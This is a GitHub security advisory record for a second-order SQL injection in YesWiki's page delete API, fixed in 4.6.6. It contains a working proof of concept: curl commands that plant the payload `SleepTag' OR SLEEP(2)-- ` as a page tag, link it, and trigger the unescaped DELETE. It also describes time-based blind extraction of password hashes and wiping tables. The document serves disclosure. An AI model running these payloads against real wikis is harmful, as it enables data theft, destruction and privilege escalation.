{"id":"GHSA-8f2v-2qhj-gfwg","summary":"YesWiki: Second-Order SQL Injection in Page Delete API via Unescaped Page Tag (`ApiController::deletePage`)","details":"## Summary\n`ApiController::deletePage()` interpolates a page tag retrieved from the database into a `DELETE FROM …_links WHERE to_tag = '$tag'` query without escaping. The page tag is attacker-controlled — the `POST /api/pages/{tag}` API accepts arbitrary URL-encoded values, including single quotes, and stores them. A low-privilege authenticated user can therefore create a page whose tag is a SQL fragment, make the page non-orphaned via the standard `{{include page=\"…\"}}` link mechanism, and then invoke the delete endpoint to execute arbitrary SQL inside the wiki database - including time-based blind data exfiltration from any table.\n\nThis is a **classic second-order SQL injection**: the `INSERT` correctly escapes the value, so the malicious tag is stored intact and the input passes every \"is this value safe to put in the database?\" check; the sink is the *read-back-and-reuse* path, where escaping is omitted.\n\n## Details\n### Affected component\n\n* **File:** `includes/controllers/ApiController.php`\n* **Method:** `ApiController::deletePage($tag)`\n* **Route:** `@Route(\"/api/pages/{tag}\", methods={\"DELETE\"}, options={\"acl\":{\"+\"}})` — `acl:\"+\"` means *any authenticated user*.\n* **Sink:** line 626\n\n```php\n// includes/controllers/ApiController.php  (v4.6.5 = origin/doryphore-dev HEAD,\n// lines 607–631)\npublic function deletePage($tag)\n{\n    $pageManager   = $this-\u003egetService(PageManager::class);\n    $pageController = $this-\u003egetService(PageController::class);\n    $dbService     = $this-\u003egetService(DbService::class);\n    ...\n    try {\n        $page = $pageManager-\u003egetOne($tag, null, false);     // (a) safe SELECT\n        if (empty($page)) { ... } else {\n            $tag = isset($page['tag']) ? $page['tag'] : $tag;//   ^ raw tag from DB\n            $result['notDeleted'] = [$tag];\n            if ($this-\u003ewiki-\u003eUserIsOwner($tag) || $this-\u003ewiki-\u003eUserIsAdmin()) {\n                if (!$pageManager-\u003eisOrphaned($tag)) {\n                    $dbService-\u003equery(\n                        \"DELETE FROM {$dbService-\u003eprefixTable('links')}\n                         WHERE to_tag = '$tag'\");           // (b) SINK — unescaped\n                }\n                ...\n```\n\nThe same anti-pattern shows up in two adjacent files; both were noted in the original submission and confirmed during validation:\n\n* `tools/tags/handlers/page/__deletepage.php` line 14 - `DELETE … WHERE to_tag = '$tag'`, where `$tag = $this-\u003eGetPageTag()` is again the raw stored tag.\n* `handlers/page/deletepage.php` lines 93–94 - `LoadAll('SELECT DISTINCT from_tag FROM …links WHERE to_tag = '\" . $this-\u003eGetPageTag() . \"'\")`, same pattern as a SELECT instead of a DELETE.\n\nThe API path is the easiest sink to reach because it requires only `acl:\"+\"` and a single HTTP request; the other two require a logged-in user to navigate to the page's delete handler\n\nA low-privilege account can carry the whole chain:\n\n1. **Plant** — `POST /api/pages/{evil}` with body=anything. `PageManager::save()` escapes the tag at INSERT time (`'\\''` in SQL ⇒ stored `'`), so the tag persists with its single quote intact. The new page is owned by the attacker, so `UserIsOwner($tag)` in the delete handler will return true.\n2. **Make non-orphaned** — save *any* second page whose body contains `{{include page=\"\u003cevil\u003e\"}}` through the web edit handler. `LinkTracker::preventTrackingActions()` parses the include directive, looks up the referenced page (`PageManager::getOne()` finds it because lookup uses `escape()`, which matches the stored quote), and `LinkTracker::persist()` inserts a row `(from_tag='Linker', to_tag='\u003cevil\u003e')` into `_links` — again with `escape()` on the way in, so the raw quote round-trips.\n3. **Trigger** — `DELETE /api/pages/{evil}`. The delete handler reads the page (escaped SELECT, finds the row), assigns `$tag = $page['tag']` (the raw stored value, including `'`), runs `isOrphaned($tag)` (escaped SELECT, returns *not* orphaned because step 2 inserted a row), and then runs the **unescaped** `DELETE FROM …_links WHERE to_tag = '$tag'`. The SQL parser sees the attacker-controlled `'` as the end of the string literal; everything after it is treated as SQL.\n\nThe injection point is `WHERE to_tag = '\u003chere\u003e'` — any payload of the form `\u003canything\u003e' \u003cSQL\u003e-- ` works. With time-based primitives (`SLEEP`), the attacker reads any byte of any row of any table the wiki account can see.\n\n### End to End Steps to reproduce the issue\n\n1. Preflight\n    * lab is up at http://localhost:8085\n2. Logging in\n    * admin 'WikiAdmin' and low-priv 'TestUser01' both logged in\n3.  Tier 1 - POST /api/pages/\u003cevil-tag\u003e   (as TestUser01)\n    * PROOF: tag stored RAW in yeswiki_pages → 'SleepTag' OR SLEEP(2)-- '\n4. Tier 2 - make the evil page non-orphaned\n    * PROOF: yeswiki_links row → LinkPoc-\u003eSleepTag' OR SLEEP(2)--\n5. Tier 2 - DELETE /api/pages/\u003cevil-tag\u003e  (as TestUser01)\n    * baseline (non-existent tag)  : 0.468s\n    * exploit  (SLEEP(2) in tag)   : 2.555s\n    * delta                        : 2.087s\n    * PROOF        : Δ ≥ 1.5 s → SLEEP(2) ran inside the DELETE on L626\n6.  Tier 3 - time-based blind data exfiltration\n    * char='w'  elapsed=0.505s  miss\n    * char='x'  elapsed=0.495s  miss\n    * char='y'  elapsed=3.522s  \u003c- HIT\n    * char='z'  elapsed=0.662s  miss\n    * PROOF        : conditional SLEEP fired only for 'y'\n\nRESULT: second-order SQL injection in DELETE /api/pages/{tag} is CONFIRMED.\n\n## PoC\n### Pre Reqs\n\nHad the following things setup in advance: \n\n1. Yeswiki v4.6.5 lab image (Setup via podman)\n3. Admin & User Account setup. \n\nParts used across PoC:\n\n* Site responding at `http://localhost:8085`\n* Admin account: `WikiAdmin / AdminPoc12345`\n* Low-priv account: `TestUser01 / TestPass12345` *(this is the attacker)*\n\nFor the rest of this document, set:\n```bash\nBASE=\"http://localhost:8085\"\nCTR=\"yeswiki-poc\"\nPREFIX=\"yeswiki_\"\nCJ=/tmp/yw_user.txt        # cookie jar for our low-priv attacker\n```\n\nConfirm the vulnerable line is actually there: \n```bash\npodman exec \"$CTR\" \\\n    grep -n \"DELETE FROM.*links.*WHERE to_tag\" \\\n    /var/www/html/includes/controllers/ApiController.php\n```\n\n**Expected output:**\n```\n626: $dbService-\u003equery(\"DELETE FROM {$dbService-\u003eprefixTable('links')} WHERE to_tag = '$tag'\");\n```\n\nLog in as the low-privilege attacker. We will get the session in return\n```bash\nrm -f \"$CJ\"\ncurl -s -c \"$CJ\" -o /dev/null \"${BASE}/?LoginPoc\" \\\n     --data-urlencode \"action=login\"   --data-urlencode \"context=LoginPoc\" \\\n     --data-urlencode \"name=TestUser01\" --data-urlencode \"password=TestPass12345\" \\\n     --data-urlencode \"remember=1\"\n\n# Verify the session is logged in:\nSID=$(grep -oE 'YesWiki-main[[:space:]]+[a-f0-9]+' \"$CJ\" | awk '{print $2}')\npodman exec -u root \"$CTR\" grep '^user|' \"/tmp/sess_${SID}\"\n```\n\nPlant a page whose **tag** contains SQL meta-characters.\n\nThe Symfony route accepts the default `[^/]+` regex for `{tag}`, so single quotes pass through unmodified. The INSERT correctly escapes the value for SQL injection purposes, but escaping is an SQL-layer concern: the **stored** byte string still contains the literal `'`. That is the seed of the second-order bug.\n\n```bash\nEVIL_TAG=\"SleepTag' OR SLEEP(2)-- \"\nEVIL_ENC=$(printf '%s' \"$EVIL_TAG\" | \\\n    podman exec -i \"$CTR\" php -r 'echo rawurlencode(file_get_contents(\"php://stdin\"));')\n\necho \"raw tag      : $EVIL_TAG\"\necho \"URL-encoded  : $EVIL_ENC\"\n\ncurl -s -b \"$CJ\" -X POST \"${BASE}/?api/pages/${EVIL_ENC}\" \\\n     --data-urlencode \"body=poc\"\n```\n\n* The API accepted a tag with a literal `'` and SQL keywords, completely unsanitized.\n* The single quote round-tripped through `PageManager::save()`'s `escape()` and is now sitting in the database byte-for-byte as `SleepTag' OR SLEEP(2)-- ` — exactly what an attacker needs the read-back to return.\n* `TestUser01` is the owner, so the eventual `UserIsOwner($tag)` check in the delete handler will pass for them.\n\nNow, create a second page that will link to the evil page\n\nThe sink at L626 is gated by `if (!$pageManager-\u003eisOrphaned($tag))`. To pass it, the evil tag has to appear as a `to_tag` somewhere in the `_links` table. The cleanest way is the legitimate `{{include page=\"…\"}}` mechanism: a page whose body references the evil tag will register a link.\n\nFirst, create the placeholder linker via the API (no link tracking on this path - that fires from the web editor):\n\n```bash\ncurl -s -b \"$CJ\" -X POST \"${BASE}/?api/pages/LinkPoc\" \\\n     --data-urlencode \"body=placeholder\"\n\n# Grab its id — we'll need it for the edit form's hidden \"previous\" field\nLINKID=$(podman exec \"$CTR\" mysql -uroot yeswiki -N -e \\\n    \"SELECT id FROM ${PREFIX}pages WHERE tag='LinkPoc' AND latest='Y';\")\necho \"LinkPoc id = $LINKID\"\n```\n\nMake the evil page non-orphaned (web edit handler)\n\nSubmit a web-editor save with body `{{include page=\"\u003cevil tag\u003e\"}}`. The pre-handler `tools/security/handlers/page/__edit.php` would normally require a hashcash token, but `env/install.sh` disables `use_hashcash` so this works without one. Hashcash is irrelevant to the SQLi sink itself; production deployments that leave it enabled are still vulnerable, just slightly more involved to trigger.\n\n```bash\nNEW_BODY='{{include page=\"SleepTag'\"'\"' OR SLEEP(2)-- \"}} rev-1'\n\ncurl -sL -b \"$CJ\" -X POST \"${BASE}/?LinkPoc/edit\" \\\n     --data-urlencode \"submit=Sauver\" \\\n     --data-urlencode \"previous=${LINKID}\" \\\n     --data-urlencode \"body=${NEW_BODY}\"\n```\n\n* The web edit handler called `LinkTracker::registerLinks($page, false, false)` (handlers/page/edit.php:69).\n* `registerLinks()` formatted the page body and reached `preventTrackingActions()` (includes/services/LinkTracker.php:160).\n* That regex extracted `SleepTag' OR SLEEP(2)-- ` from `{{include page=\"…\"}}`, called `PageManager::getOne(\u003cextracted\u003e)` which found the page (lookup uses `escape()`, so a stored `'` still matches), and called `$this-\u003eadd($page['tag'])`.\n* `LinkTracker::persist()` then inserted `(from_tag='LinkPoc', to_tag='\u003cevil tag, raw quote\u003e')` into `_links`.\n\n**Proves:** the second-order data has now been planted on **both** sides of the join the vulnerable DELETE query touches.\n\nWe need a control measurement before the actual SQLi, so the delta is unambiguous. Delete a tag we know doesn't exist:\n\n```bash\nT0=$(date +%s.%N)\ncurl -s -b \"$CJ\" -X DELETE \"${BASE}/?api/pages/NonExistent99\" -o /dev/null\nT1=$(date +%s.%N)\nawk \"BEGIN{printf \\\"baseline elapsed: %.3fs\\n\\\", $T1-$T0}\"\n```\n\n**Expected output:** baseline elapsed: ~0.3–0.7 s (one-shot HTTP round-trip + a fast `SELECT … WHERE tag = …`). Record this number.\n\nTrigger the SQLi (Tier 2 - the actual vulnerability fires)\n\nIssue a `DELETE /api/pages/\u003cevil tag\u003e`. The handler reads the page back from the DB, sees the row, takes `$tag = $page['tag']` (the **raw** stored value, still containing `'`), checks `isOrphaned()` (returns *not* orphaned because step 5 inserted a row), and runs the **unescaped** DELETE on L626. With our tag, that becomes:\n\n```sql\nDELETE FROM yeswiki_links WHERE to_tag = 'SleepTag' OR SLEEP(2)-- '\n                                                ^^^ ^^^^^^^^^^^^^^^^\n                                                |   injected SQL\n                                                breakout\n```\n\n`SLEEP(2)` runs once per row scanned. We seeded one row, so the call should hang ~2 s before responding.\n\n```bash\nT0=$(date +%s.%N)\ncurl -s -b \"$CJ\" -X DELETE \"${BASE}/?api/pages/${EVIL_ENC}\" -o /tmp/yw_del.json\nT1=$(date +%s.%N)\nawk \"BEGIN{printf \\\"exploit elapsed: %.3fs\\n\\\", $T1-$T0}\"\n\necho \"--- response ---\"\ncat /tmp/yw_del.json; echo\n```\n\n**Expected output (the precise timing varies by host, but the *delta* relative to step 6 is what matters):**\n\n```\nexploit elapsed: 2.555s\n--- response ---\n{\"deleted\":[\"SleepTag' OR SLEEP(2)-- \"]}\n```\n\n## Impact\n*  Blind extraction of any column the wiki database account can read: user password hashes (`_users.password`), email addresses, ACLs (`_acls.list`), private page bodies (`_pages.body`), database session data, etc.\n* The sink is a `DELETE`; an attacker can append `OR 1=1-- ` to wipe the entire `_links` table, breaking inter-page navigation site-wide. The path can also be combined with `UNION`-style techniques to read into an error if the DBMS surfaces them (most YesWiki setups suppress errors, hence time-based blind is the realistic primary primitive).\n* `SLEEP()` per row scales with link-table size; a malicious tag with `SLEEP(60)` on a wiki with N links will hang one connection for ~60 N seconds, easily exhausting the MariaDB worker pool.\n* `_users.password` hashes are bcrypt; offline cracking of weaker passwords yields admin sessions. The bug therefore acts as a **low-priv → admin** primitive, and chains with the bazar deserialization bug (separate advisory) as **low-priv → admin → object injection / future RCE**","aliases":["CVE-2026-52771"],"modified":"2026-07-09T21:26:42.402300Z","published":"2026-07-09T21:00:14Z","database_specific":{"cwe_ids":["CWE-89"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-07-09T21:00:14Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-8f2v-2qhj-gfwg"},{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/commit/23d3cc124613b9428ab963b31807c08879a9c631"},{"type":"PACKAGE","url":"https://github.com/YesWiki/yeswiki"}],"affected":[{"package":{"name":"yeswiki/yeswiki","ecosystem":"Packagist","purl":"pkg:composer/yeswiki/yeswiki"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.2.0"},{"fixed":"4.6.6"}]}],"versions":["4.2.3","v4.2.0","v4.2.1","v4.2.2","v4.2.4","v4.3","v4.3.1","v4.4.0","v4.4.1","v4.4.2","v4.4.3","v4.4.4","v4.4.5","v4.5.0","v4.5.1","v4.5.2","v4.5.3","v4.5.4","v4.5.5","v4.6.0","v4.6.1","v4.6.2","v4.6.3","v4.6.4","v4.6.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-8f2v-2qhj-gfwg/GHSA-8f2v-2qhj-gfwg.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L"}]}